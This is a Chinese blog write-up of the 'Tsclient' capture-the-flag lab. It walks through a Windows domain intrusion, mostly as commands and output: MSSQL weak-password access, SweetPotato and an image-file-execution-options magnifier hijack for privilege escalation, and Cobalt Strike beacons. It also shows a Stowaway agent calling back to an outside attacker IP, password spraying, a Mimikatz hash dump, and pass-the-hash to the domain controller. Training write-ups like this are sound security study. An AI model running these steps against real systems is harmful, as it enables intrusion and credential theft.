春秋云境-Tsclient

最新推荐文章于 2025-04-13 23:49:05 发布

Wh1teSu

最新推荐文章于 2025-04-13 23:49:05 发布

阅读量1.1k

点赞数 16

CC 4.0 BY-SA版权

分类专栏：内网渗透文章标签：内网渗透安全 web安全域渗透

本文链接：https://blog.csdn.net/m0_45155797/article/details/145748681

内网渗透专栏收录该内容

14 篇文章

订阅专栏

Tsclient

入口机

信息收集

C:\Users\Anonymous\Desktop\渗透\fscan-gw - 0.1>fscan-gw.exe -h 39.98.107.251
start
start infoscan
39.98.107.251:1433 open
39.98.107.251:139 open
39.98.107.251:135 open
39.98.107.251:3389 open
39.98.107.251:80 open
3.0322725s
[*] alive ports len is: 5
start vulscan
[*] NetInfo
[*]39.98.107.251
   [->]WIN-WEB
   [->]172.22.8.18
   [->]2001:0:348b:fb58:14c3:3a13:d89d:9404
[*] WebTitle http://39.98.107.251      code:200 len:703    title:IIS Windows Server
[+] mssql 39.98.107.251:1433:sa 1qaz!QAZ
[-] 39.98.107.251:1433 scan error: close of closed channel

漏洞发现

扫描到一个mssql弱口令sa::1qaz!QAZ

漏洞利用

https://github.com/SafeGroceryStore/MDUT

https://github.com/DeEpinGh0st/MDUT-Extend-Release

连接成功，激活组件执行命令，发现是低权限用户

SweetPotato提权

拿到system权限读flag

flag01: flag{b9458832-7d52-4575-8ff9-d7589fc7e8b1}

上线CS

设置监听

生成木马

上线system

用system权限执行beacon.exe，CS就可以上线system权限的后门

搜集一下用户信息，可以看到这里还有一个John用户

抓取明文密码

查看在线用户

进程注入上线John

可以看到John用户是在线的，可以用CS直接注入进程上线

查看网络共享

net use查看网络共享，然后dir，发现一个txt文件，记录着一个用户的域用户的账户密码，并且里面还有提示，镜像劫持。

[02/01 21:39:08] beacon> shell net use
[02/01 21:39:08] [*] Tasked beacon to run: net use
[02/01 21:39:31] [+] host called home, sent: 70 bytes
[02/01 21:39:31] [+] received output:
会记录新的网络连接。


状态       本地        远程                      网络

-------------------------------------------------------------------------------
                       \\TSCLIENT\C              Microsoft Terminal Services
命令成功完成。


[02/01 21:40:31] beacon> shell dir \\TSCLIENT\C
[02/01 21:40:31] [*] Tasked beacon to run: dir \\TSCLIENT\C
[02/01 21:40:31] [+] host called home, sent: 47 bytes
[02/01 21:40:34] [+] received output:
 驱动器 \\TSCLIENT\C 中的卷没有标签。
 卷的序列号是 C2C5-9D0C

 \\TSCLIENT\C 的目录

2022/07/12  10:34                71 credential.txt
2022/05/12  17:04    <DIR>          PerfLogs
2022/07/11  12:53    <DIR>          Program Files
2022/05/18  11:30    <DIR>          Program Files (x86)
2022/07/11  12:47    <DIR>          Users
2022/07/11  12:45    <DIR>          Windows
               1 个文件             71 字节
               5 个目录 30,019,502,080 可用字节

[02/01 21:40:40] beacon> shell type \\tsclient\c\credential.txt
[02/01 21:40:40] [*] Tasked beacon to run: type \\tsclient\c\credential.txt
[02/01 21:40:40] [+] host called home, sent: 63 bytes
[02/01 21:40:40] [+] received output:
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#

Do you know how to hijack Image?

Stowaway挂上第一层代理

攻击机

./linux_x64_admin -l 9001 -s 123

目标机

windows_x64_agent.exe -c 47.115.49.243:9001 -s 123 --reconnect 8

内网

信息收集

172.22.8.46:3389 open
172.22.8.46:445 open
172.22.8.18:1433 open
172.22.8.31:445 open
172.22.8.15:445 open
172.22.8.18:445 open
172.22.8.46:139 open
172.22.8.31:3389 open
172.22.8.31:139 open
172.22.8.15:139 open
172.22.8.15:3389 open
172.22.8.46:135 open
172.22.8.18:3389 open
172.22.8.18:139 open
172.22.8.31:135 open
172.22.8.15:135 open
172.22.8.18:135 open
172.22.8.46:80 open
172.22.8.18:80 open
172.22.8.15:88 open
[*] NetInfo 
[*]172.22.8.31
   [->]WIN19-CLIENT
   [->]172.22.8.31
[*] NetInfo 
[*]172.22.8.46
   [->]WIN2016
   [->]172.22.8.46
[*] NetInfo 
[*]172.22.8.18
   [->]WIN-WEB
   [->]172.22.8.18
   [->]2001:0:348b:fb58:14c3:3a13:d89d:9404
[*] NetInfo 
[*]172.22.8.15
   [->]DC01
   [->]172.22.8.15
NetBios 172.22.8.15     [+] DC:XIAORANG\DC01     
NetBios 172.22.8.31     XIAORANG\WIN19-CLIENT   
[*] WebTitle http://172.22.8.18        code:200 len:703    title:IIS Windows Server
NetBios 172.22.8.46     WIN2016.xiaorang.lab                Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.8.46        code:200 len:703    title:IIS Windows Server
[+] mssql 172.22.8.18:1433:sa 1qaz!QAZ

密码喷洒

┌──(root㉿penetration)-[/mnt/c/Windows/system32]
└─# proxychains -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'
SMB         172.22.8.18     445    WIN-WEB          [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-WEB) (domain:WIN-WEB) (signing:False) (SMBv1:True)
SMB         172.22.8.46     445    WIN2016          [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN2016) (domain:xiaorang.lab) (signing:False) (SMBv1:True)
SMB         172.22.8.15     445    DC01             [*] Windows 10.0 Build 20348 x64 (name:DC01) (domain:xiaorang.lab) (signing:True) (SMBv1:False)
SMB         172.22.8.31     445    WIN19-CLIENT     [*] Windows 10.0 Build 17763 x64 (name:WIN19-CLIENT) (domain:xiaorang.lab) (signing:False) (SMBv1:False)
SMB         172.22.8.18     445    WIN-WEB          [-] WIN-WEB\Aldrich:Ald@rLMWuy7Z!# STATUS_LOGON_FAILURE
SMB         172.22.8.46     445    WIN2016          [-] xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# STATUS_PASSWORD_EXPIRED
SMB         172.22.8.15     445    DC01             [-] xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# STATUS_PASSWORD_EXPIRED
SMB         172.22.8.31     445    WIN19-CLIENT     [-] xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# STATUS_PASSWORD_EXPIRED

STATUS_PASSWORD_EXPIRED显示密码过期了，然后我们需要改密码，用的是impacket工具里面的脚本。

┌──(root㉿penetration)-[/tmp/impacket-0.11.0/examples]
└─# proxychains python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass '1qaz@2WSX'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.11.0 - Copyright 2023 Fortra

===============================================================================
  Warning: This functionality will be deprecated in the next Impacket version
===============================================================================

[proxychains] Dynamic chain  ...  47.115.49.243:2005  ...  172.22.8.15:445  ...  OK
[!] Password is expired, trying to bind with a null session.
[proxychains] Dynamic chain  ...  47.115.49.243:2005  ...  172.22.8.15:445  ...  OK
[*] Password was changed successfully.

用Profixier走代理RDP登录远程桌面

172.22.8.15 rdp不上
172.22.8.31 登不了
172.22.8.46 成功登录

转发上线

172.22.8.46机器是不出网的，可以用172.22.8.18转发上线的CS

然后选这个listener生成马

远程桌面可以直接把本机的文件复制粘贴过去，然后双击即可上线

映像劫持提权

映像劫持提权，先查看权限：

PS C:\Users\Aldrich> get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *


PSPath                  : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
PSParentPath            : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
PSChildName             : Image File Execution Options
PSDrive                 : HKLM
PSProvider              : Microsoft.PowerShell.Core\Registry
CentralAccessPolicyId   :
CentralAccessPolicyName :
Path                    : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
Owner                   : NT AUTHORITY\SYSTEM
Group                   : NT AUTHORITY\SYSTEM
Access                  : {System.Security.AccessControl.RegistryAccessRule, System.Security.AccessControl.RegistryAccessRule, System.Security.AccessControl.RegistryAccessRule, System.Security.AccessControl.RegistryAccessRule...}
Sddl                    : O:SYG:SYD:PAI(A;CIIO;KA;;;CO)(A;CI;CCDCLCSWRPRC;;;AU)(A;CI;KA;;;SY)(A;CI;KA;;;BA)(A;CI;KR;;;BU)(A;CI;KR;;;AC)
AccessToString          : CREATOR OWNER Allow  FullControl
                          NT AUTHORITY\Authenticated Users Allow  SetValue, CreateSubKey, ReadKey
                          NT AUTHORITY\SYSTEM Allow  FullControl
                          BUILTIN\Administrators Allow  FullControl
                          BUILTIN\Users Allow  ReadKey
                          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadKey
AuditToString           :
AccessRightType         : System.Security.AccessControl.RegistryRights
AccessRuleType          : System.Security.AccessControl.RegistryAccessRule
AuditRuleType           : System.Security.AccessControl.RegistryAuditRule
AreAccessRulesProtected : True
AreAuditRulesProtected  : False
AreAccessRulesCanonical : True
AreAuditRulesCanonical  : True

AccessToString这里发现所有正常登录的用户都可以修改注册表，利用这个性质，修改注册表映像劫持，使用放大镜进行提权。

其实也就是把本来用户主页点放大镜启动的magnify.exe替换成C:\windows\system32\cmd.exe，这样就直接提权成system了

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

然后点左下角的头像锁屏，进主页点右下角的放大镜，直接就system权限了

然后运行之前CS后门程序，就可以上线system权限的后门。

上线system获得第二个flag

flag02: flag{520ace2d-cdb5-45f1-aa6f-9d71bd4567e3}

抓取hash

[02/01 22:22:27] beacon> logonpasswords
[02/01 22:22:27] [*] Process Inject using fork and run.
[02/01 22:22:27] [*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[02/01 22:22:28] [+] host called home, sent: 313860 bytes
[02/01 22:22:29] [+] received output:

Authentication Id : 0 ; 14308959 (00000000:00da565f)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2025/2/1 22:05:06
SID               : S-1-5-90-0-2
    msv :
     [00000003] Primary
     * Username : WIN2016$
     * Domain   : XIAORANG
     * NTLM     : bc6b0b90fd65929b78b6a4bbe78be783
     * SHA1     : 40e088558b3e0990a476c52e7842dbed23e5240c
    tspkg :
    wdigest :
     * Username : WIN2016$
     * Domain   : XIAORANG
     * Password : (null)
    kerberos :
     * Username : WIN2016$
     * Domain   : xiaorang.lab
     * Password : d0 fc 4b 2b ca a9 a1 2a 57 e1 7c bb 4b 32 74 ea c6 65 98 52 93 8a 51 29 ef 71 47 51 66 ca 99 31 dd 0e 77 ad 0f fb 5c 61 c2 4d 51 2d 08 a2 d1 8c b1 b6 2f e6 61 fd e2 6c c9 8f d4 e2 1a 85 34 ac 3d 7d 66 39 73 da ee f0 09 e2 f2 38 5e 81 50 6e 59 f3 24 26 6b 2c e6 3d 9a cc bf 31 be 73 3b ee 14 9b e3 c3 90 c8 d2 c6 b6 8d 35 4e d3 cd 4d f2 25 82 f4 da 95 da ee 54 63 44 16 7f 53 5e ba ae 32 45 26 e2 65 86 24 9e fa 04 21 6d 08 f3 51 83 82 32 49 b6 57 e9 d8 c4 11 15 dd 32 b2 5b a4 9d 15 ab d0 fd dc 83 54 26 fb d6 dd 3d 91 30 de 0a 8c 35 02 6e ff c3 1e da 8a 1b f2 37 99 30 90 cc af 04 88 3a c5 f7 cf 27 07 15 af 83 46 9e 68 a2 83 f8 ea 75 92 2e b6 e6 10 d5 69 c2 9f e6 0e 62 d4 9d 80 51 84 9a 4f 2d b4 a9 0e 28 07 58 cb fc 
    ssp :
    credman :

Authentication Id : 0 ; 54877 (00000000:0000d65d)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2025/2/1 21:15:42
SID               : S-1-5-90-0-1
    msv :
     [00000003] Primary
     * Username : WIN2016$
     * Domain   : XIAORANG
     * NTLM     : 4ba974f170ab0fe1a8a1eb0ed8f6fe1a
     * SHA1     : e06238ecefc14d675f762b08a456770dc000f763
    tspkg :
    wdigest :
     * Username : WIN2016$
     * Domain   : XIAORANG
     * Password : (null)
    kerberos :
     * Username : WIN2016$
     * Domain   : xiaorang.lab
     * Password : 9e ae c4 7a ed ee 91 74 a5 59 61 a5 00 2c c5 00 60 3b 87 48 d0 17 48 cf df 7b 14 af 9a 99 22 b5 94 ba 0a 1e f0 6e f0 25 b1 e2 a2 62 fb b8 68 93 42 64 08 b7 f6 2e f7 cf ae a3 7a 94 9d 32 24 1a b1 6b 87 6c 5e f1 d3 89 c6 c4 8b d3 bd 05 9c b0 e1 85 d4 2c 03 56 5f af 09 15 12 10 df 74 e7 4c d3 65 55 d8 ab bd b4 71 5c 8c a7 bd 14 60 8b 44 b5 d8 d8 61 23 f1 4f 4d 8e a0 dc ac 8a 60 15 0d f7 9f a1 85 98 c4 cf 34 ec ee ea c5 b9 5b 42 8b 97 cc 4d ed 1f db 8c b4 45 06 ce 40 fc 81 96 ac c3 61 e5 e9 42 90 69 f3 b2 85 fa 80 59 e2 8b a5 f6 70 5d 1a bd 5f b1 85 6b ae b0 16 42 29 2c 99 57 fb 49 ea e3 29 49 56 55 6c 9a 2b ee 13 77 fe d7 a3 51 b8 01 ec bb 60 22 b8 7c 2f f5 6b 0f 6b 87 36 76 45 81 7e e3 71 0a a8 ca 2a a3 a6 05 64 
    ssp :
    credman :

Authentication Id : 0 ; 54827 (00000000:0000d62b)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2025/2/1 21:15:42
SID               : S-1-5-90-0-1
    msv :
     [00000003] Primary
     * Username : WIN2016$
     * Domain   : XIAORANG
     * NTLM     : bc6b0b90fd65929b78b6a4bbe78be783
     * SHA1     : 40e088558b3e0990a476c52e7842dbed23e5240c
    tspkg :
    wdigest :
     * Username : WIN2016$
     * Domain   : XIAORANG
     * Password : (null)
    kerberos :
     * Username : WIN2016$
     * Domain   : xiaorang.lab
     * Password : d0 fc 4b 2b ca a9 a1 2a 57 e1 7c bb 4b 32 74 ea c6 65 98 52 93 8a 51 29 ef 71 47 51 66 ca 99 31 dd 0e 77 ad 0f fb 5c 61 c2 4d 51 2d 08 a2 d1 8c b1 b6 2f e6 61 fd e2 6c c9 8f d4 e2 1a 85 34 ac 3d 7d 66 39 73 da ee f0 09 e2 f2 38 5e 81 50 6e 59 f3 24 26 6b 2c e6 3d 9a cc bf 31 be 73 3b ee 14 9b e3 c3 90 c8 d2 c6 b6 8d 35 4e d3 cd 4d f2 25 82 f4 da 95 da ee 54 63 44 16 7f 53 5e ba ae 32 45 26 e2 65 86 24 9e fa 04 21 6d 08 f3 51 83 82 32 49 b6 57 e9 d8 c4 11 15 dd 32 b2 5b a4 9d 15 ab d0 fd dc 83 54 26 fb d6 dd 3d 91 30 de 0a 8c 35 02 6e ff c3 1e da 8a 1b f2 37 99 30 90 cc af 04 88 3a c5 f7 cf 27 07 15 af 83 46 9e 68 a2 83 f8 ea 75 92 2e b6 e6 10 d5 69 c2 9f e6 0e 62 d4 9d 80 51 84 9a 4f 2d b4 a9 0e 28 07 58 cb fc 
    ssp :
    credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WIN2016$
Domain            : XIAORANG
Logon Server      : (null)
Logon Time        : 2025/2/1 21:15:42
SID               : S-1-5-20
    msv :
     [00000003] Primary
     * Username : WIN2016$
     * Domain   : XIAORANG
     * NTLM     : bc6b0b90fd65929b78b6a4bbe78be783
     * SHA1     : 40e088558b3e0990a476c52e7842dbed23e5240c
    tspkg :
    wdigest :
     * Username : WIN2016$
     * Domain   : XIAORANG
     * Password : (null)
    kerberos :
     * Username : win2016$
     * Domain   : XIAORANG.LAB
     * Password : d0 fc 4b 2b ca a9 a1 2a 57 e1 7c bb 4b 32 74 ea c6 65 98 52 93 8a 51 29 ef 71 47 51 66 ca 99 31 dd 0e 77 ad 0f fb 5c 61 c2 4d 51 2d 08 a2 d1 8c b1 b6 2f e6 61 fd e2 6c c9 8f d4 e2 1a 85 34 ac 3d 7d 66 39 73 da ee f0 09 e2 f2 38 5e 81 50 6e 59 f3 24 26 6b 2c e6 3d 9a cc bf 31 be 73 3b ee 14 9b e3 c3 90 c8 d2 c6 b6 8d 35 4e d3 cd 4d f2 25 82 f4 da 95 da ee 54 63 44 16 7f 53 5e ba ae 32 45 26 e2 65 86 24 9e fa 04 21 6d 08 f3 51 83 82 32 49 b6 57 e9 d8 c4 11 15 dd 32 b2 5b a4 9d 15 ab d0 fd dc 83 54 26 fb d6 dd 3d 91 30 de 0a 8c 35 02 6e ff c3 1e da 8a 1b f2 37 99 30 90 cc af 04 88 3a c5 f7 cf 27 07 15 af 83 46 9e 68 a2 83 f8 ea 75 92 2e b6 e6 10 d5 69 c2 9f e6 0e 62 d4 9d 80 51 84 9a 4f 2d b4 a9 0e 28 07 58 cb fc 
    ssp :
    credman :

Authentication Id : 0 ; 25127 (00000000:00006227)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2025/2/1 21:15:41
SID               : 
    msv :
     [00000003] Primary
     * Username : WIN2016$
     * Domain   : XIAORANG
     * NTLM     : bc6b0b90fd65929b78b6a4bbe78be783
     * SHA1     : 40e088558b3e0990a476c52e7842dbed23e5240c
    tspkg :
    wdigest :
    kerberos :
    ssp :
    credman :

Authentication Id : 0 ; 14331962 (00000000:00dab03a)
Session           : RemoteInteractive from 2
User Name         : Aldrich
Domain            : XIAORANG
Logon Server      : DC01
Logon Time        : 2025/2/1 22:05:07
SID               : S-1-5-21-3289074908-3315245560-3429321632-1105
    msv :
     [00000003] Primary
     * Username : Aldrich
     * Domain   : XIAORANG
     * NTLM     : 0c7c39ed4d38ca79dc7bdd794ad6b212
     * SHA1     : a8e2b478aeef8d3e6f8504fa0d1aeae60e489cd1
     * DPAPI    : 4defe1ca8734594de5353ec45a06d557
    tspkg :
    wdigest :
     * Username : Aldrich
     * Domain   : XIAORANG
     * Password : (null)
    kerberos :
     * Username : Aldrich
     * Domain   : XIAORANG.LAB
     * Password : (null)
    ssp :
    credman :

Authentication Id : 0 ; 14308942 (00000000:00da564e)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2025/2/1 22:05:06
SID               : S-1-5-90-0-2
    msv :
     [00000003] Primary
     * Username : WIN2016$
     * Domain   : XIAORANG
     * NTLM     : bc6b0b90fd65929b78b6a4bbe78be783
     * SHA1     : 40e088558b3e0990a476c52e7842dbed23e5240c
    tspkg :
    wdigest :
     * Username : WIN2016$
     * Domain   : XIAORANG
     * Password : (null)
    kerberos :
     * Username : WIN2016$
     * Domain   : xiaorang.lab
     * Password : d0 fc 4b 2b ca a9 a1 2a 57 e1 7c bb 4b 32 74 ea c6 65 98 52 93 8a 51 29 ef 71 47 51 66 ca 99 31 dd 0e 77 ad 0f fb 5c 61 c2 4d 51 2d 08 a2 d1 8c b1 b6 2f e6 61 fd e2 6c c9 8f d4 e2 1a 85 34 ac 3d 7d 66 39 73 da ee f0 09 e2 f2 38 5e 81 50 6e 59 f3 24 26 6b 2c e6 3d 9a cc bf 31 be 73 3b ee 14 9b e3 c3 90 c8 d2 c6 b6 8d 35 4e d3 cd 4d f2 25 82 f4 da 95 da ee 54 63 44 16 7f 53 5e ba ae 32 45 26 e2 65 86 24 9e fa 04 21 6d 08 f3 51 83 82 32 49 b6 57 e9 d8 c4 11 15 dd 32 b2 5b a4 9d 15 ab d0 fd dc 83 54 26 fb d6 dd 3d 91 30 de 0a 8c 35 02 6e ff c3 1e da 8a 1b f2 37 99 30 90 cc af 04 88 3a c5 f7 cf 27 07 15 af 83 46 9e 68 a2 83 f8 ea 75 92 2e b6 e6 10 d5 69 c2 9f e6 0e 62 d4 9d 80 51 84 9a 4f 2d b4 a9 0e 28 07 58 cb fc 
    ssp :
    credman :

Authentication Id : 0 ; 12984145 (00000000:00c61f51)
Session           : Service from 0
User Name         : DefaultAppPool
Domain            : IIS APPPOOL
Logon Server      : (null)
Logon Time        : 2025/2/1 21:49:11
SID               : S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
    msv :
     [00000003] Primary
     * Username : WIN2016$
     * Domain   : XIAORANG
     * NTLM     : bc6b0b90fd65929b78b6a4bbe78be783
     * SHA1     : 40e088558b3e0990a476c52e7842dbed23e5240c
    tspkg :
    wdigest :
     * Username : WIN2016$
     * Domain   : XIAORANG
     * Password : (null)
    kerberos :
     * Username : WIN2016$
     * Domain   : xiaorang.lab
     * Password : d0 fc 4b 2b ca a9 a1 2a 57 e1 7c bb 4b 32 74 ea c6 65 98 52 93 8a 51 29 ef 71 47 51 66 ca 99 31 dd 0e 77 ad 0f fb 5c 61 c2 4d 51 2d 08 a2 d1 8c b1 b6 2f e6 61 fd e2 6c c9 8f d4 e2 1a 85 34 ac 3d 7d 66 39 73 da ee f0 09 e2 f2 38 5e 81 50 6e 59 f3 24 26 6b 2c e6 3d 9a cc bf 31 be 73 3b ee 14 9b e3 c3 90 c8 d2 c6 b6 8d 35 4e d3 cd 4d f2 25 82 f4 da 95 da ee 54 63 44 16 7f 53 5e ba ae 32 45 26 e2 65 86 24 9e fa 04 21 6d 08 f3 51 83 82 32 49 b6 57 e9 d8 c4 11 15 dd 32 b2 5b a4 9d 15 ab d0 fd dc 83 54 26 fb d6 dd 3d 91 30 de 0a 8c 35 02 6e ff c3 1e da 8a 1b f2 37 99 30 90 cc af 04 88 3a c5 f7 cf 27 07 15 af 83 46 9e 68 a2 83 f8 ea 75 92 2e b6 e6 10 d5 69 c2 9f e6 0e 62 d4 9d 80 51 84 9a 4f 2d b4 a9 0e 28 07 58 cb fc 
    ssp :
    credman :

Authentication Id : 0 ; 995 (00000000:000003e3)
Session           : Service from 0
User Name         : IUSR
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2025/2/1 21:15:45
SID               : S-1-5-17
    msv :
    tspkg :
    wdigest :
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    kerberos :
    ssp :
    credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2025/2/1 21:15:42
SID               : S-1-5-19
    msv :
    tspkg :
    wdigest :
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    kerberos :
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    ssp :
    credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : WIN2016$
Domain            : XIAORANG
Logon Server      : (null)
Logon Time        : 2025/2/1 21:15:41
SID               : S-1-5-18
    msv :
    tspkg :
    wdigest :
     * Username : WIN2016$
     * Domain   : XIAORANG
     * Password : (null)
    kerberos :
     * Username : win2016$
     * Domain   : XIAORANG.LAB
     * Password : (null)
    ssp :
    credman :

PTH

发现管理员组有两个账户

而我们上面也抓到了WIN2016$的hash，直接hash传递，利用wmiexec.py

proxychains python3 wmiexec.py -hashes :bc6b0b90fd65929b78b6a4bbe78be783 xiaorang.lab/WIN2016\$@172.22.8.15

flag03: flag{0af60b2b-96fb-4e41-bc1a-0628df473870}

‍